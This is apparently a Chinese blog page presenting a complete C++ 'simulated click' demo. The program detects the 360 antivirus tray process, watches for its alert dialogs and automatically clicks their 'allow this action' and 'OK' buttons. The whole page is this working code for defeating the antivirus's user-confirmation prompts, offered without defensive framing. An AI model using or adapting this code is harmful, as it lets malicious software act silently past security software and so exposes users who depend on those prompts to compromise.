360 模拟点击demo
360 模拟点击demo

#include <iostream.h>
#include <windows.h>
#include <tlhelp32.h>BOOL Pass360();
DWORD FindProc(char *szExeName);
DWORD WINAPI Find360Thread(LPVOID lpParam);
DWORD WINAPI Kill360Thread(LPVOID lpParam);int main()
{
cout<<"~~~~~~~~~~~~~~~~~~~Test 360~~~~~~~~~~~~~~~~~~~~~~"<<endl;
cout<<"~~~~~~~~~~~~~~~~CodeBy:xets007~~~~~~~~~~~~~~~~~~~"<<endl<<endl;
if(!Pass360())
{
cout<<"Can Not Find The 360 Process!"<<endl;
return 0;
}
while(1)
Sleep(1000*60*6);
return 0;
}BOOL Pass360()
{
BOOL stat=FALSE;
if(FindProc("360tray.exe"))
{
stat=TRUE;
HANDLE hTemp=CreateThread(NULL,NULL,Find360Thread,NULL,NULL,NULL);
CloseHandle(hTemp);
}
return stat;
}DWORD FindProc(char *szExeName)
{
DWORD stat=0;
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 pe;
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(handle,&pe))
{
if(stricmp(szExeName,pe.szExeFile)==0)
{
stat=pe.th32ProcessID;
}
while(Process32Next(handle,&pe)!=FALSE)
{
if(stricmp(szExeName,pe.szExeFile)==0)
{
stat=pe.th32ProcessID;
break;
}
}
}
return stat;
}
DWORD WINAPI Find360Thread(LPVOID lpParam)
{
cout<<"Finding Thread is working now !"<<endl;
HWND hCurrent;
DWORD dwStyle;
HANDLE hTemp;
char *szButtonOK="确定";
char *szButtonPass="允许此动作";
char szClassName[256];
while(1)
{
Sleep(1);
hCurrent=GetForegroundWindow();
memset(szClassName,0,256);
GetClassName(hCurrent,szClassName,256);
if(stricmp(szClassName,"Afx:400000:0")==0)
{
dwStyle=GetWindowLong(hCurrent,GWL_STYLE);
if(0x94000008 == dwStyle)
{
cout<<"Find A Active 360 Window!"<<endl;
hTemp=CreateThread(NULL,NULL,Kill360Thread,szButtonPass,NULL,NULL);
WaitForSingleObject(hTemp,INFINITE);
CloseHandle(hTemp);
hTemp=CreateThread(NULL,NULL,Kill360Thread,szButtonOK,NULL,NULL);
CloseHandle(hTemp);
}
}
}
return 0;
}
DWORD WINAPI Kill360Thread(LPVOID lpParam)
{
UINT i;
char szClassName[256];
char szWindowText[256];
char *szButtonName=(char*)lpParam;
for(i=0;i<1024*888;i++)
{
if(IsWindow((HWND)i))
{
memset(szClassName,0,256);
GetClassName((HWND)i,szClassName,256);
if(stricmp(szClassName,"Button")==0)
{
memset(szWindowText,0,256);
GetWindowText((HWND)i,szWindowText,256);
if(stricmp(szWindowText,szButtonName)==0)
{
HWND temp=GetParent((HWND)i);
char tempstr[256]={0};
GetClassName(temp,tempstr,256);
if(stricmp(tempstr,"Afx:400000:0")==0)
{
cout<<"Send A Click Message To The Button:"<<szButtonName<<endl;
SendMessage((HWND)i,WM_LBUTTONDOWN,NULL,NULL);
SendMessage((HWND)i,WM_LBUTTONUP,NULL,NULL);
}
}
}
}
}
return 0;
}
姓名:Chinadu
最近评论